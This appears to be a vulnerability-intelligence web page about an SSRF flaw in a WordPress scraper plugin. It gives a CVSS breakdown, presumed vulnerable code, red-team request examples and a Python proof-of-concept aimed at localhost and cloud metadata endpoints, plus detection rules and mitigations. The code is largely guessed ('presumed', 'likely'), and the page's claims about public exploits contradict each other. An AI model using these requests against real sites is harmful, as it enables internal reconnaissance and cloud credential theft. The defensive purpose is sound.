☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Extendons logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-918
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62088

CVE-2025-62088 Server-Side Request Forgery in Extendons
📅 PUBLISHED: 2025-12-31 17:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: <0.01%
👁️
<0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62088 is a Server-Side Request Forgery (SSRF) vulnerability discovered in the Extendons WordPress & WooCommerce Scraper Plugin, specifically in the wp_scraper component. This plugin allows users to import data from any external website. The vulnerability exists in versions up to and including 1.0.7, and allows an unauthenticated attacker to make the server send crafted HTTP requests to arbitrary internal or external resources. This can lead to information disclosure, internal network scanning, and potential pivot attacks against internal services. The vulnerability is classified as CWE-918 (Server-Side Request Forgery) and has a CVSS score of 5.4 (Medium). No public exploit code or patch is currently available, making this a zero-day risk for all sites running the affected plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem issue, the risk extends to any site using the wp_scraper plugin. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a PHP-based WordPress plugin. The lack of a patch means that all installations are vulnerable, and supply chain risk is elevated due to the plugin's ability to fetch and process external data.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed.
  • User Interaction: None (UI:N) – The victim does not need to perform any action.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: Low (C:L) – Limited information disclosure is possible.
  • Integrity Impact: Low (I:L) – Some data modification may be possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for internal network reconnaissance and data exfiltration makes this a serious concern for organizations using the plugin.

Deep Dive & Mechanics

The SSRF vulnerability in the wp_scraper plugin arises from insufficient validation of user-supplied URLs. The plugin likely accepts a URL parameter (e.g., target_url or scrape_url) and uses PHP functions like file_get_contents(), curl_exec(), or wp_remote_get() to fetch content from that URL. An attacker can manipulate this parameter to point to internal IP addresses (e.g., http://127.0.0.1, http://192.168.1.1) or cloud metadata endpoints (e.g., http://169.254.169.254).

The core issue is that the plugin does not:

  • Validate that the URL is a legitimate external domain.
  • Block private or reserved IP ranges.
  • Restrict the protocol (e.g., allowing file:// or gopher://).
  • Implement a whitelist of allowed domains.

This allows an attacker to:

  • Scan internal network services (e.g., databases, admin panels).
  • Read sensitive files via file:// protocol if enabled.
  • Access cloud instance metadata (e.g., AWS, GCP, Azure) to steal credentials.
  • Perform blind SSRF attacks to identify open ports.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to the following (based on typical SSRF patterns in WordPress plugins):

Vulnerable Code (wp_scraper.php):

function scrape_url() {
    $url = $_GET['target_url'];
    $response = wp_remote_get($url);
    // Process response...
}

Patched Code (Hypothetical):

function scrape_url() {
    $url = $_GET['target_url'];
    $parsed_url = parse_url($url);
    $host = $parsed_url['host'];
    
    // Block private IPs
    if (filter_var($host, FILTER_VALIDATE_IP) && !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        wp_die('Invalid URL');
    }
    
    // Block internal hostnames
    $disallowed = ['localhost', '127.0.0.1', '::1', '0.0.0.0'];
    if (in_array(strtolower($host), $disallowed)) {
        wp_die('Invalid URL');
    }
    
    // Use a whitelist approach
    $allowed_domains = ['example.com', 'api.trusted.com'];
    if (!in_array($host, $allowed_domains)) {
        wp_die('Domain not allowed');
    }
    
    $response = wp_remote_get($url);
    // Process response...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install WordPress with the wp_scraper plugin version 1.0.7.
  2. Set up a local listener (e.g., nc -lvnp 8080) to capture outbound requests.
  3. Use a cloud metadata endpoint simulator (e.g., http://169.254.169.254/).

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=scrape&target_url=...).
  2. Craft a request to an internal service:
    GET /wp-admin/admin-ajax.php?action=scrape&target_url=http://127.0.0.1:80 HTTP/1.1
    Host: target-site.com
    
  3. Attempt to access cloud metadata:
    GET /wp-admin/admin-ajax.php?action=scrape&target_url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
    Host: target-site.com
    
  4. Use a blind SSRF technique to detect open ports by observing response times or error messages.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-site.com"
endpoint = "/wp-admin/admin-ajax.php?action=scrape&target_url="

# Test internal IP
r = requests.get(target + endpoint + "http://127.0.0.1:80")
print(r.text)

# Test cloud metadata
r = requests.get(target + endpoint + "http://169.254.169.254/latest/meta-data/")
print(r.text)

Blue Team

Detection:

  • Monitor outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
  • Alert on requests to cloud metadata IPs (169.254.169.254, 100.100.100.200 for Alibaba).
  • Look for unusual URL patterns in target_url parameters.

Hunting:

  • Search web server logs for target_url containing IP addresses or internal hostnames.
  • Use the Sigma rule below to detect SSRF attempts.

Indicators of Compromise (IOCs)

  • URL Patterns:
    • target_url=http://127.0.0.1
    • target_url=http://169.254.169.254
    • target_url=http://10.*.*.*
    • target_url=http://192.168.*.*
    • target_url=file:///etc/passwd
  • Log Entries:
    • GET /wp-admin/admin-ajax.php?action=scrape&target_url=...
    • GET /wp-content/plugins/wp_scraper/...
  • Network Traffic:
    • Outbound connections to private IPs from the web server.
    • DNS queries for internal hostnames (e.g., localhost, metadata.google.internal).

Detection Engineering

YARA Rule

rule CVE_2025_62088_SSRF_WordPress {
    meta:
        description = "Detects SSRF attempts against CVE-2025-62088 in wp_scraper plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62088"
    strings:
        $url_param = "target_url="
        $internal_ip = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3})/
        $metadata_ip = "169.254.169.254"
        $file_proto = "file://"
    condition:
        $url_param and ($internal_ip or $metadata_ip or $file_proto)
}

Sigma Rule

title: SSRF Attempt via wp_scraper Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts targeting CVE-2025-62088 in WordPress wp_scraper plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'target_url='
        cs-uri-query|contains:
            - '127.0.0.1'
            - '169.254.169.254'
            - '10.'
            - '192.168.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - 'file://'
    condition: selection
falsepositives:
    - Legitimate use of the plugin to scrape internal resources (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62088 SSRF Attempt via wp_scraper"; flow:to_server,established; content:"target_url="; http_uri; pcre:"/(127\.0\.0\.1|169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|file:\/\/)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing target_url= with private IPs or metadata endpoints.
  3. Restrict outbound traffic from the web server using a firewall or security group (e.g., block all outbound traffic except to specific trusted domains).

Long-Term Fix:

  • The vendor must release a patched version that validates URLs against a whitelist of allowed domains and blocks private/reserved IP ranges.
  • Consider replacing the plugin with a more secure alternative.

Workaround:

  • Add the following to .htaccess to block SSRF attempts:
    RewriteEngine On
    RewriteCond %{QUERY_STRING} target_url=(127\.0\.0\.1|169\.254\.169\.254|10\.|192\.168\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\.) [NC]
    RewriteRule .* - [F,L]
    

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"wp_scraper"
http.html:"wp-content/plugins/wp_scraper"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62088/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.